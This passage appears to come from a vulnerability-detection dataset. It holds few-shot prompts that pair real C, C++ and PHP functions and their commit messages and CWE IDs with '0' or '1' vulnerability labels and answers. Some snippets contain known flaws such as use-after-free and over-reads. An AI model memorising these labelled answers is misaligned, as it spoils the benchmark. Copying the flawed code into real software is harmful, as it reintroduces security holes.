<[email protected]> CC: Tomas Henzl <[email protected]> CC: Dan Williams <[email protected]> Reviewed-by: Hannes Reinecke <[email protected]> Signed-off-by: Martin K. Petersen <[email protected]> CWE ID: Target: 1 Example 2: Code: OMX_ERRORTYPE SoftMPEG4Encoder::initEncoder() { CHECK(!mStarted); OMX_ERRORTYPE errType = OMX_ErrorNone; if (OMX_ErrorNone != (errType = initEncParams())) { ALOGE("Failed to initialized encoder params"); mSignalledError = true; notify(OMX_EventError, OMX_ErrorUndefined, 0, 0); return errType; } if (!PVInitVideoEncoder(mHandle, mEncParams)) { ALOGE("Failed to initialize the encoder"); mSignalledError = true; notify(OMX_EventError, OMX_ErrorUndefined, 0, 0); return OMX_ErrorUndefined; } mNumInputFrames = -1; // 1st buffer for codec specific data mStarted = true; return OMX_ErrorNone; } Commit Message: codecs: handle onReset() for a few encoders Test: Run PoC binaries Bug: 34749392 Bug: 34705519 Change-Id: I3356eb615b0e79272d71d72578d363671038c6dd CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: TabContents* Browser::OpenApplication(Profile* profile, const std::string& app_id, TabContents* existing_tab) { ExtensionService* extensions_service = profile->GetExtensionService(); const Extension* extension = extensions_service->GetExtensionById(app_id, false); if (!extension) return NULL; return OpenApplication(profile, extension, extension->launch_container(), existing_tab); } Commit Message: Rename the TabContentWrapper pieces to be "TabHelper"s. (Except for the PasswordManager... for now.) Also, just pre-create them up-front. It saves us effort, as they're all going to be eventually created anyway, so being lazy saves us nothing and creates headaches since the rules about what can be lazy differ from feature to feature. BUG=71097 TEST=zero visible change Review URL: http://codereview.chromium.org/6480117 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@75170 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-20 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static int rt_fill_info(struct net *net, __be32 dst, __be32 src, struct flowi4 *fl4, struct sk_buff *skb, u32 portid, u32 seq, int event, int nowait, unsigned int flags) { struct rtable *rt = skb_rtable(skb); struct rtmsg *r; struct nlmsghdr *nlh; unsigned long expires = 0; u32 error; u32 metrics[RTAX_MAX]; nlh = nlmsg_put(skb, portid, seq, event, sizeof(*r), flags); if (nlh == NULL) return -EMSGSIZE; r = nlmsg_data(nlh); r->rtm_family = AF_INET; r->rtm_dst_len = 32; r->rtm_src_len = 0; r->rtm_tos = fl4->flowi4_tos; r->rtm_table = RT_TABLE_MAIN; if (nla_put_u32(skb, RTA_TABLE, RT_TABLE_MAIN)) goto nla_put_failure; r->rtm_type = rt->rt_type; r->rtm_scope = RT_SCOPE_UNIVERSE; r->rtm_protocol = RTPROT_UNSPEC; r->rtm_flags = (rt->rt_flags & ~0xFFFF) | RTM_F_CLONED; if (rt->rt_flags & RTCF_NOTIFY) r->rtm_flags |= RTM_F_NOTIFY; if (nla_put_be32(skb, RTA_DST, dst)) goto nla_put_failure; if (src) { r->rtm_src_len = 32; if (nla_put_be32(skb, RTA_SRC, src)) goto nla_put_failure; } if (rt->dst.dev && nla_put_u32(skb, RTA_OIF, rt->dst.dev->ifindex)) goto nla_put_failure; #ifdef CONFIG_IP_ROUTE_CLASSID if (rt->dst.tclassid && nla_put_u32(skb, RTA_FLOW, rt->dst.tclassid)) goto nla_put_failure; #endif if (!rt_is_input_route(rt) && fl4->saddr != src) { if (nla_put_be32(skb, RTA_PREFSRC, fl4->saddr)) goto nla_put_failure; } if (rt->rt_uses_gateway && nla_put_be32(skb, RTA_GATEWAY, rt->rt_gateway)) goto nla_put_failure; expires = rt->dst.expires; if (expires) { unsigned long now = jiffies; if (time_before(now, expires)) expires -= now; else expires = 0; } memcpy(metrics, dst_metrics_ptr(&rt->dst), sizeof(metrics)); if (rt->rt_pmtu && expires) metrics[RTAX_MTU - 1] = rt->rt_pmtu; if (rtnetlink_put_metrics(skb, metrics) < 0) goto nla_put_failure; if (fl4->flowi4_mark && nla_put_u32(skb, RTA_MARK, fl4->flowi4_mark)) goto nla_put_failure; error = rt->dst.error; if (rt_is_input_route(rt)) { #ifdef CONFIG_IP_MROUTE if (ipv4_is_multicast(dst) && !ipv4_is_local_multicast(dst) && IPV4_DEVCONF_ALL(net, MC_FORWARDING)) { int err = ipmr_get_route(net, skb, fl4->saddr, fl4->daddr, r, nowait); if (err <= 0) { if (!nowait) { if (err == 0) return 0; goto nla_put_failure; } else { if (err == -EMSGSIZE) goto nla_put_failure; error = err; } } } else #endif if (nla_put_u32(skb, RTA_IIF, skb->dev->ifindex)) goto nla_put_failure; } if (rtnl_put_cacheinfo(skb, &rt->dst, 0, expires, error) < 0) goto nla_put_failure; return nlmsg_end(skb, nlh); nla_put_failure: nlmsg_cancel(skb, nlh); return -EMSGSIZE; } Commit Message: ipv4: try to cache dst_entries which would cause a redirect Not caching dst_entries which cause redirects could be exploited by hosts on the same subnet, causing a severe DoS attack. This effect aggravated since commit f88649721268999 ("ipv4: fix dst race in sk_dst_get()"). Lookups causing redirects will be allocated with DST_NOCACHE set which will force dst_release to free them via RCU. Unfortunately waiting for RCU grace period just takes too long, we can end up with >1M dst_entries waiting to be released and the system will run OOM. rcuos threads cannot catch up under high softirq load. Attaching the flag to emit a redirect later on to the specific skb allows us to cache those dst_entries thus reducing the pressure on allocation and deallocation. This issue was discovered by Marcelo Leitner. Cc: Julian Anastasov <[email protected]> Signed-off-by: Marcelo Leitner <[email protected]> Signed-off-by: Florian Westphal <[email protected]> Signed-off-by: Hannes Frederic Sowa <[email protected]> Signed-off-by: Julian Anastasov <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-17 Target: 1 Example 2: Code: DOMWrapperMap<void>& getActiveDOMObjectMap(v8::Isolate* isolate) { return DOMData::getCurrentStore(isolate).activeDomObjectMap(); } Commit Message: [V8] ASSERT that removeAllDOMObjects() is called only on worker threads https://bugs.webkit.org/show_bug.cgi?id=100046 Reviewed by Eric Seidel. This function is called only on worker threads. We should ASSERT that fact and remove the dead code that tries to handle the main thread case. * bindings/v8/V8DOMMap.cpp: (WebCore::removeAllDOMObjects): git-svn-id: svn://svn.chromium.org/blink/trunk@132156 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-119 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static void icmp_reply(struct icmp_bxm *icmp_param, struct sk_buff *skb) { struct ipcm_cookie ipc; struct rtable *rt = skb_rtable(skb); struct net *net = dev_net(rt->dst.dev); struct sock *sk; struct inet_sock *inet; __be32 daddr; if (ip_options_echo(&icmp_param->replyopts, skb)) return; sk = icmp_xmit_lock(net); if (sk == NULL) return; inet = inet_sk(sk); icmp_param->data.icmph.checksum = 0; inet->tos = ip_hdr(skb)->tos; daddr = ipc.addr = rt->rt_src; ipc.opt = NULL; ipc.tx_flags = 0; if (icmp_param->replyopts.optlen) { ipc.opt = &icmp_param->replyopts; if (ipc.opt->srr) daddr = icmp_param->replyopts.faddr; } { struct flowi4 fl4 = { .daddr = daddr, .saddr = rt->rt_spec_dst, .flowi4_tos = RT_TOS(ip_hdr(skb)->tos), .flowi4_proto = IPPROTO_ICMP, }; security_skb_classify_flow(skb, flowi4_to_flowi(&fl4)); rt = ip_route_output_key(net, &fl4); if (IS_ERR(rt)) goto out_unlock; } if (icmpv4_xrlim_allow(net, rt, icmp_param->data.icmph.type, icmp_param->data.icmph.code)) icmp_push_reply(icmp_param, &ipc, &rt); ip_rt_put(rt); out_unlock: icmp_xmit_unlock(sk); } Commit Message: inet: add RCU protection to inet->opt We lack proper synchronization to manipulate inet->opt ip_options Problem is ip_make_skb() calls ip_setup_cork() and ip_setup_cork() possibly makes a copy of ipc->opt (struct ip_options), without any protection against another thread manipulating inet->opt. Another thread can change inet->opt pointer and free old one under us. Use RCU to protect inet->opt (changed to inet->inet_opt). Instead of handling atomic refcounts, just copy ip_options when necessary, to avoid cache line dirtying. We cant insert an rcu_head in struct ip_options since its included in skb->cb[], so this patch is large because I had to introduce a new ip_options_rcu structure. Signed-off-by: Eric Dumazet <[email protected]> Cc: Herbert Xu <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-362 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: int zgfx_decompress(ZGFX_CONTEXT* zgfx, const BYTE* pSrcData, UINT32 SrcSize, BYTE** ppDstData, UINT32* pDstSize, UINT32 flags) { int status = -1; BYTE descriptor; wStream* stream = Stream_New((BYTE*)pSrcData, SrcSize); if (!stream) return -1; if (Stream_GetRemainingLength(stream) < 1) goto fail; Stream_Read_UINT8(stream, descriptor); /* descriptor (1 byte) */ if (descriptor == ZGFX_SEGMENTED_SINGLE) { if (!zgfx_decompress_segment(zgfx, stream, Stream_GetRemainingLength(stream))) goto fail; *ppDstData = NULL; if (zgfx->OutputCount > 0) *ppDstData = (BYTE*) malloc(zgfx->OutputCount); if (!*ppDstData) goto fail; *pDstSize = zgfx->OutputCount; CopyMemory(*ppDstData, zgfx->OutputBuffer, zgfx->OutputCount); } else if (descriptor == ZGFX_SEGMENTED_MULTIPART) { UINT32 segmentSize; UINT16 segmentNumber; UINT16 segmentCount; UINT32 uncompressedSize; BYTE* pConcatenated; if (Stream_GetRemainingLength(stream) < 6) goto fail; Stream_Read_UINT16(stream, segmentCount); /* segmentCount (2 bytes) */ Stream_Read_UINT32(stream, uncompressedSize); /* uncompressedSize (4 bytes) */ if (Stream_GetRemainingLength(stream) < segmentCount * sizeof(UINT32)) goto fail; pConcatenated = (BYTE*) malloc(uncompressedSize); if (!pConcatenated) goto fail; *ppDstData = pConcatenated; *pDstSize = uncompressedSize; for (segmentNumber = 0; segmentNumber < segmentCount; segmentNumber++) { if (Stream_GetRemainingLength(stream) < sizeof(UINT32)) goto fail; Stream_Read_UINT32(stream, segmentSize); /* segmentSize (4 bytes) */ if (!zgfx_decompress_segment(zgfx, stream, segmentSize)) goto fail; CopyMemory(pConcatenated, zgfx->OutputBuffer, zgfx->OutputCount); pConcatenated += zgfx->OutputCount; } } else { goto fail; } status = 1; fail: Stream_Free(stream, FALSE); return status; } Commit Message: Fixed CVE-2018-8785 Thanks to Eyal Itkin from Check Point Software Technologies. CWE ID: CWE-119 Target: 1 Example 2: Code: GF_Box *leva_New() { ISOM_DECL_BOX_ALLOC(GF_LevelAssignmentBox, GF_ISOM_BOX_TYPE_LEVA); return (GF_Box *)tmp; } Commit Message: fixed 2 possible heap overflows (inc. #1088) CWE ID: CWE-125 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: PHP_FUNCTION(unserialize) { char *buf = NULL; size_t buf_len; const unsigned char *p; php_unserialize_data_t var_hash; zval *options = NULL, *classes = NULL; HashTable *class_hash = NULL; if (zend_parse_parameters(ZEND_NUM_ARGS(), "s|a", &buf, &buf_len, &options) == FAILURE) { RETURN_FALSE; } if (buf_len == 0) { RETURN_FALSE; } p = (const unsigned char*) buf; PHP_VAR_UNSERIALIZE_INIT(var_hash); if(options != NULL) { classes = zend_hash_str_find(Z_ARRVAL_P(options), "allowed_classes", sizeof("allowed_classes")-1); if(classes && (Z_TYPE_P(classes) == IS_ARRAY || !zend_is_true(classes))) { ALLOC_HASHTABLE(class_hash); zend_hash_init(class_hash, (Z_TYPE_P(classes) == IS_ARRAY)?zend_hash_num_elements(Z_ARRVAL_P(classes)):0, NULL, NULL, 0); } if(class_hash && Z_TYPE_P(classes) == IS_ARRAY) { zval *entry; zend_string *lcname; ZEND_HASH_FOREACH_VAL(Z_ARRVAL_P(classes), entry) { convert_to_string_ex(entry); lcname = zend_string_tolower(Z_STR_P(entry)); zend_hash_add_empty_element(class_hash, lcname); zend_string_release(lcname); } ZEND_HASH_FOREACH_END(); } } if (!php_var_unserialize_ex(return_value, &p, p + buf_len, &var_hash, class_hash)) { PHP_VAR_UNSERIALIZE_DESTROY(var_hash); if (class_hash) { zend_hash_destroy(class_hash); FREE_HASHTABLE(class_hash); } zval_ptr_dtor(return_value); if (!EG(exception)) { php_error_docref(NULL, E_NOTICE, "Error at offset " ZEND_LONG_FMT " of %zd bytes", (zend_long)((char*)p - buf), buf_len); } RETURN_FALSE; } /* We should keep an reference to return_value to prevent it from being dtor in case nesting calls to unserialize */ var_push_dtor(&var_hash, return_value); PHP_VAR_UNSERIALIZE_DESTROY(var_hash); if (class_hash) { zend_hash_destroy(class_hash); FREE_HASHTABLE(class_hash); } } Commit Message: Complete the fix of bug #70172 for PHP 7 CWE ID: CWE-416 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: bool ChromeRenderMessageFilter::OnMessageReceived(const IPC::Message& message, bool* message_was_ok) { bool handled = true; IPC_BEGIN_MESSAGE_MAP_EX(ChromeRenderMessageFilter, message, *message_was_ok) #if !defined(DISABLE_NACL) IPC_MESSAGE_HANDLER_DELAY_REPLY(ChromeViewHostMsg_LaunchNaCl, OnLaunchNaCl) IPC_MESSAGE_HANDLER_DELAY_REPLY(ChromeViewHostMsg_GetReadonlyPnaclFD, OnGetReadonlyPnaclFd) IPC_MESSAGE_HANDLER_DELAY_REPLY(ChromeViewHostMsg_NaClCreateTemporaryFile, OnNaClCreateTemporaryFile) #endif IPC_MESSAGE_HANDLER(ChromeViewHostMsg_DnsPrefetch, OnDnsPrefetch) IPC_MESSAGE_HANDLER(ChromeViewHostMsg_ResourceTypeStats, OnResourceTypeStats) IPC_MESSAGE_HANDLER(ChromeViewHostMsg_UpdatedCacheStats, OnUpdatedCacheStats) IPC_MESSAGE_HANDLER(ChromeViewHostMsg_FPS, OnFPS) IPC_MESSAGE_HANDLER(ChromeViewHostMsg_V8HeapStats, OnV8HeapStats) IPC_MESSAGE_HANDLER(ExtensionHostMsg_OpenChannelToExtension, OnOpenChannelToExtension) IPC_MESSAGE_HANDLER(ExtensionHostMsg_OpenChannelToTab, OnOpenChannelToTab) IPC_MESSAGE_HANDLER_DELAY_REPLY(ExtensionHostMsg_GetMessageBundle, OnGetExtensionMessageBundle) IPC_MESSAGE_HANDLER(ExtensionHostMsg_AddListener, OnExtensionAddListener) IPC_MESSAGE_HANDLER(ExtensionHostMsg_RemoveListener, OnExtensionRemoveListener) IPC_MESSAGE_HANDLER(ExtensionHostMsg_AddLazyListener, OnExtensionAddLazyListener) IPC_MESSAGE_HANDLER(ExtensionHostMsg_RemoveLazyListener, OnExtensionRemoveLazyListener) IPC_MESSAGE_HANDLER(ExtensionHostMsg_AddFilteredListener, OnExtensionAddFilteredListener) IPC_MESSAGE_HANDLER(ExtensionHostMsg_RemoveFilteredListener, OnExtensionRemoveFilteredListener) IPC_MESSAGE_HANDLER(ExtensionHostMsg_CloseChannel, OnExtensionCloseChannel) IPC_MESSAGE_HANDLER(ExtensionHostMsg_RequestForIOThread, OnExtensionRequestForIOThread) IPC_MESSAGE_HANDLER(ExtensionHostMsg_ShouldUnloadAck, OnExtensionShouldUnloadAck) IPC_MESSAGE_HANDLER(ExtensionHostMsg_GenerateUniqueID, OnExtensionGenerateUniqueID) IPC_MESSAGE_HANDLER(ExtensionHostMsg_UnloadAck, OnExtensionUnloadAck) IPC_MESSAGE_HANDLER(ExtensionHostMsg_ResumeRequests, OnExtensionResumeRequests); #if defined(USE_TCMALLOC) IPC_MESSAGE_HANDLER(ChromeViewHostMsg_WriteTcmallocHeapProfile_ACK, OnWriteTcmallocHeapProfile) #endif IPC_MESSAGE_HANDLER(ChromeViewHostMsg_AllowDatabase, OnAllowDatabase) IPC_MESSAGE_HANDLER(ChromeViewHostMsg_AllowDOMStorage, OnAllowDOMStorage) IPC_MESSAGE_HANDLER(ChromeViewHostMsg_AllowFileSystem, OnAllowFileSystem) IPC_MESSAGE_HANDLER(ChromeViewHostMsg_AllowIndexedDB, OnAllowIndexedDB) IPC_MESSAGE_HANDLER(ChromeViewHostMsg_CanTriggerClipboardRead, OnCanTriggerClipboardRead) IPC_MESSAGE_HANDLER(ChromeViewHostMsg_CanTriggerClipboardWrite, OnCanTriggerClipboardWrite) IPC_MESSAGE_UNHANDLED(handled = false) IPC_END_MESSAGE_MAP() #if defined(ENABLE_AUTOMATION) if ((message.type() == ChromeViewHostMsg_GetCookies::ID || message.type() == ChromeViewHostMsg_SetCookie::ID) && AutomationResourceMessageFilter::ShouldFilterCookieMessages( render_process_id_, message.routing_id())) { IPC_BEGIN_MESSAGE_MAP_EX(ChromeRenderMessageFilter, message, *message_was_ok) IPC_MESSAGE_HANDLER_DELAY_REPLY(ChromeViewHostMsg_GetCookies, OnGetCookies) IPC_MESSAGE_HANDLER(ChromeViewHostMsg_SetCookie, OnSetCookie) IPC_END_MESSAGE_MAP() handled = true; } #endif return handled; } Commit Message: Disable tcmalloc profile files. BUG=154983 [email protected] NOTRY=true Review URL: https://chromiumcodereview.appspot.com/11087041 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@161048 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-399 Target: 1 Example 2: Code: void NavigationControllerImpl::LoadEntry( std::unique_ptr<NavigationEntryImpl> entry, std::unique_ptr<NavigationUIData> navigation_ui_data) { DiscardPendingEntry(false); SetPendingEntry(std::move(entry)); NavigateToPendingEntry(ReloadType::NONE, std::move(navigation_ui_data)); } Commit Message: Preserve renderer-initiated bit when reloading in a new process. BUG=847718 TEST=See bug for repro steps. Change-Id: I6c3461793fbb23f1a4d731dc27b4e77312f29227 Reviewed-on: https://chromium-review.googlesource.com/1080235 Commit-Queue: Charlie Reis <[email protected]> Reviewed-by: Nasko Oskov <[email protected]> Cr-Commit-Position: refs/heads/master@{#563312} CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static ssize_t aio_run_iocb(struct kiocb *req, unsigned opcode, char __user *buf, size_t len, bool compat) { struct file *file = req->ki_filp; ssize_t ret; unsigned long nr_segs; int rw; fmode_t mode; aio_rw_op *rw_op; rw_iter_op *iter_op; struct iovec inline_vecs[UIO_FASTIOV], *iovec = inline_vecs; struct iov_iter iter; switch (opcode) { case IOCB_CMD_PREAD: case IOCB_CMD_PREADV: mode = FMODE_READ; rw = READ; rw_op = file->f_op->aio_read; iter_op = file->f_op->read_iter; goto rw_common; case IOCB_CMD_PWRITE: case IOCB_CMD_PWRITEV: mode = FMODE_WRITE; rw = WRITE; rw_op = file->f_op->aio_write; iter_op = file->f_op->write_iter; goto rw_common; rw_common: if (unlikely(!(file->f_mode & mode))) return -EBADF; if (!rw_op && !iter_op) return -EINVAL; if (opcode == IOCB_CMD_PREADV || opcode == IOCB_CMD_PWRITEV) ret = aio_setup_vectored_rw(req, rw, buf, &nr_segs, &len, &iovec, compat); else ret = aio_setup_single_vector(req, rw, buf, &nr_segs, len, iovec); if (!ret) ret = rw_verify_area(rw, file, &req->ki_pos, len); if (ret < 0) { if (iovec != inline_vecs) kfree(iovec); return ret; } len = ret; /* XXX: move/kill - rw_verify_area()? */ /* This matches the pread()/pwrite() logic */ if (req->ki_pos < 0) { ret = -EINVAL; break; } if (rw == WRITE) file_start_write(file); if (iter_op) { iov_iter_init(&iter, rw, iovec, nr_segs, len); ret = iter_op(req, &iter); } else { ret = rw_op(req, iovec, nr_segs, req->ki_pos); } if (rw == WRITE) file_end_write(file); break; case IOCB_CMD_FDSYNC: if (!file->f_op->aio_fsync) return -EINVAL; ret = file->f_op->aio_fsync(req, 1); break; case IOCB_CMD_FSYNC: if (!file->f_op->aio_fsync) return -EINVAL; ret = file->f_op->aio_fsync(req, 0); break; default: pr_debug("EINVAL: no operation provided\n"); return -EINVAL; } if (iovec != inline_vecs) kfree(iovec); if (ret != -EIOCBQUEUED) { /* * There's no easy way to restart the syscall since other AIO's * may be already running. Just fail this IO with EINTR. */ if (unlikely(ret == -ERESTARTSYS || ret == -ERESTARTNOINTR || ret == -ERESTARTNOHAND || ret == -ERESTART_RESTARTBLOCK)) ret = -EINTR; aio_complete(req, ret, 0); } return 0; } Commit Message: aio: lift iov_iter_init() into aio_setup_..._rw() the only non-trivial detail is that we do it before rw_verify_area(), so we'd better cap the length ourselves in aio_setup_single_rw() case (for vectored case rw_copy_check_uvector() will do that for us). Signed-off-by: Al Viro <[email protected]> CWE ID: Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void GCInfoTable::Resize() { static const int kGcInfoZapValue = 0x33; const size_t kInitialSize = 512; size_t new_size = gc_info_table_size_ ? 2 * gc_info_table_size_ : kInitialSize; DCHECK(new_size < GCInfoTable::kMaxIndex); g_gc_info_table = reinterpret_cast<GCInfo const**>(WTF::Partitions::FastRealloc( g_gc_info_table, new_size * sizeof(GCInfo), "GCInfo")); DCHECK(g_gc_info_table); memset(reinterpret_cast<uint8_t*>(g_gc_info_table) + gc_info_table_size_ * sizeof(GCInfo), kGcInfoZapValue, (new_size - gc_info_table_size_) * sizeof(GCInfo)); gc_info_table_size_ = new_size; } Commit Message: [oilpan] Fix GCInfoTable for multiple threads Previously, grow and access from different threads could lead to a race on the table backing; see bug. - Rework the table to work on an existing reservation. - Commit upon growing, avoiding any copies. Drive-by: Fix over-allocation of table. Bug: chromium:841280 Change-Id: I329cb6f40091e14e8c05334ba1104a9440c31d43 Reviewed-on: https://chromium-review.googlesource.com/1061525 Commit-Queue: Michael Lippautz <[email protected]> Reviewed-by: Kentaro Hara <[email protected]> Cr-Commit-Position: refs/heads/master@{#560434} CWE ID: CWE-362 Target: 1 Example 2: Code: gpk_lock(sc_card_t *card, struct sc_cardctl_gpk_lock *args) { struct gpk_private_data *priv = DRVDATA(card); sc_file_t *file = args->file; sc_apdu_t apdu; u8 data[8], crycks[3], resp[3]; int r; sc_debug(card->ctx, SC_LOG_DEBUG_NORMAL, "gpk_lock(0x%04X, %u)\n", file->id, args->operation); memset(data, 0, sizeof(data)); data[0] = file->id >> 8; data[1] = file->id; switch (args->operation) { case SC_AC_OP_UPDATE: data[2] = 0x40; break; case SC_AC_OP_WRITE: data[3] = 0x40; break; case SC_AC_OP_READ: data[4] = 0x40; break; default: return SC_ERROR_INVALID_ARGUMENTS; } memset(&apdu, 0, sizeof(apdu)); apdu.cse = SC_APDU_CASE_3_SHORT; apdu.cla = 0x80; apdu.ins = 0x16; apdu.p1 = (file->type == SC_FILE_TYPE_DF)? 1 : 2; apdu.p2 = 0; apdu.lc = 5; apdu.datalen = 5; apdu.data = data; if (priv->key_set) { apdu.cla = 0x84; apdu.cse = SC_APDU_CASE_4_SHORT; r = gpk_compute_crycks(card, &apdu, crycks); if (r) return r; apdu.resp = resp; apdu.resplen = sizeof(resp); /* XXX? */ } r = sc_transmit_apdu(card, &apdu); SC_TEST_RET(card->ctx, SC_LOG_DEBUG_NORMAL, r, "APDU transmit failed"); r = sc_check_sw(card, apdu.sw1, apdu.sw2); SC_TEST_RET(card->ctx, SC_LOG_DEBUG_NORMAL, r, "Card returned error"); if (priv->key_set) r = gpk_verify_crycks(card, &apdu, crycks); return r; } Commit Message: fixed out of bounds reads Thanks to Eric Sesterhenn from X41 D-SEC GmbH for reporting and suggesting security fixes. CWE ID: CWE-125 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: int fz_colorspace_is_cal(fz_context *ctx, const fz_colorspace *cs) { return cs && (cs->flags & FZ_COLORSPACE_IS_CAL); } Commit Message: CWE ID: CWE-20 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: juniper_atm2_print(netdissect_options *ndo, const struct pcap_pkthdr *h, register const u_char *p) { int llc_hdrlen; struct juniper_l2info_t l2info; l2info.pictype = DLT_JUNIPER_ATM2; if (juniper_parse_header(ndo, p, h, &l2info) == 0) return l2info.header_len; p+=l2info.header_len; if (l2info.cookie[7] & ATM2_PKT_TYPE_MASK) { /* OAM cell ? */ oam_print(ndo, p, l2info.length, ATM_OAM_NOHEC); return l2info.header_len; } if (EXTRACT_24BITS(p) == 0xfefe03 || /* NLPID encaps ? */ EXTRACT_24BITS(p) == 0xaaaa03) { /* SNAP encaps ? */ llc_hdrlen = llc_print(ndo, p, l2info.length, l2info.caplen, NULL, NULL); if (llc_hdrlen > 0) return l2info.header_len; } if (l2info.direction != JUNIPER_BPF_PKT_IN && /* ether-over-1483 encaps ? */ (EXTRACT_32BITS(l2info.cookie) & ATM2_GAP_COUNT_MASK)) { ether_print(ndo, p, l2info.length, l2info.caplen, NULL, NULL); return l2info.header_len; } if (p[0] == 0x03) { /* Cisco style NLPID encaps ? */ isoclns_print(ndo, p + 1, l2info.length - 1, l2info.caplen - 1); /* FIXME check if frame was recognized */ return l2info.header_len; } if(juniper_ppp_heuristic_guess(ndo, p, l2info.length) != 0) /* PPPoA vcmux encaps ? */ return l2info.header_len; if (ip_heuristic_guess(ndo, p, l2info.length) != 0) /* last try - vcmux encaps ? */ return l2info.header_len; return l2info.header_len; } Commit Message: CVE-2017-12897/ISO CLNS: Use ND_TTEST() for the bounds checks in isoclns_print(). This fixes a buffer over-read discovered by Kamil Frankowicz. Don't pass the remaining caplen - that's too hard to get right, and we were getting it wrong in at least one case; just use ND_TTEST(). Add a test using the capture file supplied by the reporter(s). CWE ID: CWE-125 Target: 1 Example 2: Code: xdr_chpass3_arg(XDR *xdrs, chpass3_arg *objp) { if (!xdr_ui_4(xdrs, &objp->api_version)) { return (FALSE); } if (!xdr_krb5_principal(xdrs, &objp->princ)) { return (FALSE); } if (!xdr_krb5_boolean(xdrs, &objp->keepold)) { return (FALSE); } if (!xdr_array(xdrs, (caddr_t *)&objp->ks_tuple, (unsigned int*)&objp->n_ks_tuple, ~0, sizeof(krb5_key_salt_tuple), xdr_krb5_key_salt_tuple)) { return (FALSE); } if (!xdr_nullstring(xdrs, &objp->pass)) { return (FALSE); } return (TRUE); } Commit Message: Fix kadm5/gssrpc XDR double free [CVE-2014-9421] [MITKRB5-SA-2015-001] In auth_gssapi_unwrap_data(), do not free partial deserialization results upon failure to deserialize. This responsibility belongs to the callers, svctcp_getargs() and svcudp_getargs(); doing it in the unwrap function results in freeing the results twice. In xdr_krb5_tl_data() and xdr_krb5_principal(), null out the pointers we are freeing, as other XDR functions such as xdr_bytes() and xdr_string(). ticket: 8056 (new) target_version: 1.13.1 tags: pullup CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int snd_timer_start_slave(struct snd_timer_instance *timeri) { unsigned long flags; spin_lock_irqsave(&slave_active_lock, flags); timeri->flags |= SNDRV_TIMER_IFLG_RUNNING; if (timeri->master) list_add_tail(&timeri->active_list, &timeri->master->slave_active_head); spin_unlock_irqrestore(&slave_active_lock, flags); return 1; /* delayed start */ } Commit Message: ALSA: timer: Harden slave timer list handling A slave timer instance might be still accessible in a racy way while operating the master instance as it lacks of locking. Since the master operation is mostly protected with timer->lock, we should cope with it while changing the slave instance, too. Also, some linked lists (active_list and ack_list) of slave instances aren't unlinked immediately at stopping or closing, and this may lead to unexpected accesses. This patch tries to address these issues. It adds spin lock of timer->lock (either from master or slave, which is equivalent) in a few places. For avoiding a deadlock, we ensure that the global slave_active_lock is always locked at first before each timer lock. Also, ack and active_list of slave instances are properly unlinked at snd_timer_stop() and snd_timer_close(). Last but not least, remove the superfluous call of _snd_timer_stop() at removing slave links. This is a noop, and calling it may confuse readers wrt locking. Further cleanup will follow in a later patch. Actually we've got reports of use-after-free by syzkaller fuzzer, and this hopefully fixes these issues. Reported-by: Dmitry Vyukov <[email protected]> Cc: <[email protected]> Signed-off-by: Takashi Iwai <[email protected]> CWE ID: CWE-20 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: mcopy(struct magic_set *ms, union VALUETYPE *p, int type, int indir, const unsigned char *s, uint32_t offset, size_t nbytes, size_t linecnt) { /* * Note: FILE_SEARCH and FILE_REGEX do not actually copy * anything, but setup pointers into the source */ if (indir == 0) { switch (type) { case FILE_SEARCH: ms->search.s = RCAST(const char *, s) + offset; ms->search.s_len = nbytes - offset; ms->search.offset = offset; return 0; case FILE_REGEX: { const char *b; const char *c; const char *last; /* end of search region */ const char *buf; /* start of search region */ const char *end; size_t lines; if (s == NULL) { ms->search.s_len = 0; ms->search.s = NULL; return 0; } buf = RCAST(const char *, s) + offset; end = last = RCAST(const char *, s) + nbytes; /* mget() guarantees buf <= last */ for (lines = linecnt, b = buf; lines && b < end && ((b = CAST(const char *, memchr(c = b, '\n', CAST(size_t, (end - b))))) || (b = CAST(const char *, memchr(c, '\r', CAST(size_t, (end - c)))))); lines--, b++) { last = b; if (b[0] == '\r' && b[1] == '\n') b++; } if (lines) last = RCAST(const char *, s) + nbytes; ms->search.s = buf; ms->search.s_len = last - buf; ms->search.offset = offset; ms->search.rm_len = 0; return 0; } case FILE_BESTRING16: case FILE_LESTRING16: { const 